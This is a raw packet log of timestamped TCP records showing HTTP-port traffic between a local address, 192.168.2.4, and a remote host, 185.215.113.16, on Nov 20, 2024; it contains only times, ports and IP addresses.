Nov 20, 2024 21:04:29.705974102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.706022978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.706757069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.706916094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.706965923 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.707743883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.707797050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.707845926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.708595991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.708955050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.709012985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.709527969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.709661007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.709717989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.710469007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.710591078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.710648060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.711430073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.711575985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.711626053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.712384939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.712498903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.712546110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.713283062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.713421106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.713471889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.714322090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.714471102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.714673042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.715210915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.715291977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.715341091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.716104031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.716192007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.716248989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.716993093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.717113972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.717137098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.717195034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.717946053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.718056917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.718105078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.718878984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.719048023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.719814062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.720151901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.720768929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.720830917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.721127033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.721159935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.721698046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.721792936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.721837997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.722592115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.722726107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.722774982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.723539114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.723661900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.723710060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.724473000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.724569082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.724618912 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.725429058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.725481033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.725529909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.726357937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.726479053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.726532936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.727300882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.727401018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.727488995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.728235960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.728315115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.728363991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.729298115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.729348898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.729403973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.730106115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.730290890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.730350018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.730990887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.731151104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.731231928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.731980085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.732068062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.732139111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.732903957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.732980013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.733028889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.733839989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.734103918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.734153986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.734821081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.734916925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.735594034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.735642910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.779869080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.888139963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.888195992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.888272047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.888458014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.888621092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.888676882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.889483929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.889523029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.889576912 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.890376091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.890506029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.890703917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.891278028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.891395092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.891450882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.892250061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.892384052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.892436981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.893177986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.893238068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.893281937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.894083023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.894278049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.894325972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.895013094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.895153999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.895206928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.895968914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.896075010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.896078110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.896872997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.896927118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.896996975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.897047043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.897821903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.897938013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.897991896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.898752928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.898847103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.900197029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.901691914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901726007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901777029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.901778936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901813030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901848078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901871920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.901882887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.901935101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.902529001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.902667046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.902725935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.903445959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.903697014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.903755903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.904386997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.904545069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.904690981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.905334949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.905421972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.905471087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.906212091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.906265974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.906322002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.907152891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.907227993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.907423019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.908113956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.908262968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.908449888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.908468962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.909060955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.909228086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.909631014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.909965038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.910095930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.910882950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.910937071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.910959005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.911007881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.911822081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.911988020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.912718058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.912750006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.912802935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.912856102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.913701057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.913824081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.913896084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.914623022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.914747000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.914889097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.915564060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.915671110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.915726900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.916511059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.916680098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.916733980 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.917438030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.917577028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.917638063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.918339014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.918456078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.918508053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.919302940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.919408083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.919527054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.920229912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.920341969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.920397043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.921149969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.921226978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.921295881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.921663046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.922091007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.922226906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.923048019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.923101902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.923186064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.923237085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.924027920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.924083948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.924901962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.925004959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.925004959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.925055027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.925862074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.925945997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.926009893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.926784992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.926892996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.926947117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.927701950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.927803040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.927912951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.928618908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.928738117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.928792953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.929617882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.929671049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.929730892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.930469990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.930598021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.930664062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.931415081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.931526899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.931581020 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.932360888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.932517052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.932569027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.933276892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.933435917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.933490992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.934216976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.934299946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.934379101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.935203075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.935300112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.935357094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.936065912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.936187029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.936239958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.936975002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.970514059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.043056965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.091429949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.091454983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.091530085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.091604948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.091644049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.092559099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.092612028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.092689037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.092734098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.093456984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.093502998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.093549013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.094397068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.094657898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.094713926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.095422029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.095520973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.095567942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.096271038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.096410036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.096456051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.097193956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.097285032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.097347021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.098229885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.098315954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.098514080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.099200010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.099339962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.099384069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.100183964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.100358009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.100429058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.100990057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.101108074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.101170063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.101861000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.101982117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.102027893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.102816105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.102947950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.103132963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.103737116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.103997946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.104049921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.104652882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.104820013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.104871035 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.105602980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.105707884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.105747938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.106535912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.106705904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.107466936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.107515097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.107631922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.107675076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.108395100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.108535051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.109323978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.109381914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.109443903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.109488010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.110304117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.110363007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.110408068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.111165047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.111304045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.111356020 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.112101078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.112210989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.112256050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.113050938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.113214016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.113259077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.114017010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.114105940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.114502907 CET	49744	80	192.168.2.4	185.215.113.16
